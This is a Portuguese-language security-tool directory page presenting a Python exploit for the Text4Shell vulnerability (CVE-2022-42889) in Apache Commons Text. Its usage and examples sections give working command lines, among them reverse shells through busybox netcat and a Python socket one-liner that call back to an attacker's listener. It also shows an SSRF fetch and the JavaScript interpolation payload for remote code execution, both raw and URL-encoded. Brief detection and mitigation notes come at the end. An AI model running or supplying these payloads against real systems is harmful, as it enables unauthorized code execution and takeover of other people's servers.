Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-42889 — Exploit em Python para CVE-2022-42889 (Text4Shell) que permite execução remota de código via interpolação do Apache Commons Text. Suporta geração de reverse shell, SSRF e execução de comandos personalizados. | Kitploit
Ferramentas/GitHubGitHub/engranaabubakar/cve-2022-42889
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoFerramenta de Acesso Remoto
GitHubengranaabubakar/cve-2022-42889

CVE-2022-42889

Exploit em Python para CVE-2022-42889 (Text4Shell) que permite execução remota de código via interpolação do Apache Commons Text. Suporta geração de reverse shell, SSRF e execução de comandos personalizados.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 5 mesesAinda não revisado

🚀 Exploit CVE-2022-42889 (Text4Shell)

Python 3 License CVE

Um exploit em Python para CVE-2022-42889 (Text4Shell), uma vulnerabilidade crítica de execução remota de código no Apache Commons Text versões anteriores a 1.10.0.

📋 Índice

  • Descrição
  • Detalhes da Vulnerabilidade
  • Versões Afetadas
  • Funcionalidades do Exploit
  • Requisitos
  • Uso
  • Exemplos
  • Como Funciona
  • Detecção
  • Mitigação
  • Referências
  • Aviso Legal

📝 Descrição

Este exploit tem como alvo CVE-2022-42889 (Text4Shell), uma vulnerabilidade no Apache Commons Text que permite Execução Remota de Código (RCE) através de strings de entrada especialmente criadas processadas pelo interpolador StringLookup.

A vulnerabilidade tem impacto semelhante ao Log4Shell, mas afeta uma biblioteca diferente. Quando uma entrada controlada pelo usuário é passada para métodos vulneráveis, um atacante pode executar código arbitrário no sistema alvo.

🎯 Detalhes da Vulnerabilidade

  • CVE ID: CVE-2022-42889
  • Pontuação CVSS: 9.8 (Crítico)
  • Vetor de Ataque: Rede
  • Privilégios Necessários: Nenhum
  • Interação do Usuário: Nenhuma
  • Impacto: Comprometimento total do sistema

Componente Vulnerável

O Apache Commons Text fornece interpolação de strings através da interface StringLookup. A pesquisa do interpolator permite a avaliação de expressões com vários prefixos, incluindo:

  • ${script:javascript:...} - Executa código JavaScript (motor Nashorn)
  • ${url:UTF-8:...} - Busca URLs (SSRF)
  • ${dns:...} - Consultas DNS

⚠️ Versões Afetadas

ProdutoVersões AfetadasVersão Corrigida
Apache Commons Text< 1.10.01.10.0
Java< 15 (para RCE)15+ (Nashorn desativado)

Nota: Versões do Java ≥ 15 não são vulneráveis a RCE através do prefixo script (Nashorn desativado), mas ainda podem ser vulneráveis a SSRF através dos prefixos url e dns.

✨ Funcionalidades do Exploit

  • ✅ Execução Remota de Código (RCE) via interpolação JavaScript
  • ✅ Server-Side Request Forgery (SSRF) via interpolação de URL
  • ✅ Codificação URL de payloads maliciosos
  • ✅ Execução de comandos personalizados
  • ✅ Geração de reverse shell com LHOST/LPORT
  • ✅ Tratamento de erros e exibição de respostas

📦 Requisitos

  • Python 3.6+
  • Biblioteca requests

Instale as dependências:

root@kitploit:~
pip install requests

Uso

root@kitploit:~
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>

Argumentos

💻 Exemplos

Exemplo 1: Teste Simples de Comando

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444

Exemplo 2: Reverse Shell com netcat

root@kitploit:~
# Inicie o ouvinte
nc -lvnp 4444

# Execute o exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444

Exemplo 3: Reverse Shell em Python

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444

Exemplo 4: Teste SSRF

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444

🔧 Como Funciona

  1. Construção do Payload: O script cria uma string maliciosa usando a sintaxe ${script:javascript:...}:

    root@kitploit:~
    ${script:javascript:java.lang.Runtime.getRuntime().exec('COMANDO')}
    
  2. Codificação URL: Caracteres especiais são codificados em URL para garantir a transmissão adequada:

    root@kitploit:~
    %24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMANDO%27%29%7D
    
  3. Requisição HTTP: O script envia uma requisição GET para:

    root@kitploit:~
    http://ALVO:PORTA/search?query=PAYLOAD_CODIFICADO
    
  4. Execução do Comando: Se vulnerável, o alvo avalia o JavaScript e executa o comando.

🔍 Detecção

Verifique se seu sistema está vulnerável:

Teste Manual:

root@kitploit:~
curl -s "http://alvo:8080/search?query=\${script:javascript:7*7}"

Se a resposta contiver 49 em vez de ${script:javascript:7*7}, o sistema está vulnerável.

Verificação de Versão:

  • Verifique arquivos CHANGELOG ou README para a versão do Apache Commons Text
  • Procure por arquivos commons-text-*.jar na aplicação

🛡️ Mitigação

  1. Atualize o Apache Commons Text para a versão 1.10.0 ou superior:

    root@kitploit:~
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-text</artifactId>
        <version>1.10.0</version>
    </dependency>
    
  2. Atualize para Java 15+ (desabilita o motor JavaScript Nashorn)

  3. Validação de Entrada: Implemente validação rigorosa da entrada do usuário

  4. Desabilite Interpolação: Se não for necessário, evite usar StringSubstitutor.createInterpolator()

  5. Firewall de Aplicação Web (WAF): Bloqueie requisições contendo padrões ${script:javascript:}

📚 Referências

  • NVD - CVE-2022-42889
  • Segurança do Apache Commons Text
  • Tarlogic - Análise do Text4Shell
  • Alerta CISA

⚠️ Aviso Legal

Este exploit é apenas para fins educacionais e testes de segurança autorizados. O uso não autorizado deste exploit contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal. Os autores não são responsáveis por qualquer uso indevido ou danos causados por esta ferramenta.

📄 Licença

Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para mais detalhes.

🤝 Contribuição

Contribuições, problemas e solicitações de funcionalidades são bem-vindos! Sinta-se à vontade para verificar a página de issues.

Feliz Hacking! 🚀

Baixar ferramenta
ArgumentoDescriçãoObrigatório
-t, --targetEndereço IP do alvo✅ Sim
-p, --portPorta do alvo (padrão: 8080)❌ Não
-c, --commandComando a executar✅ Sim
--lhostSeu IP para reverse shell✅ Sim
--lportSua porta para reverse shell✅ Sim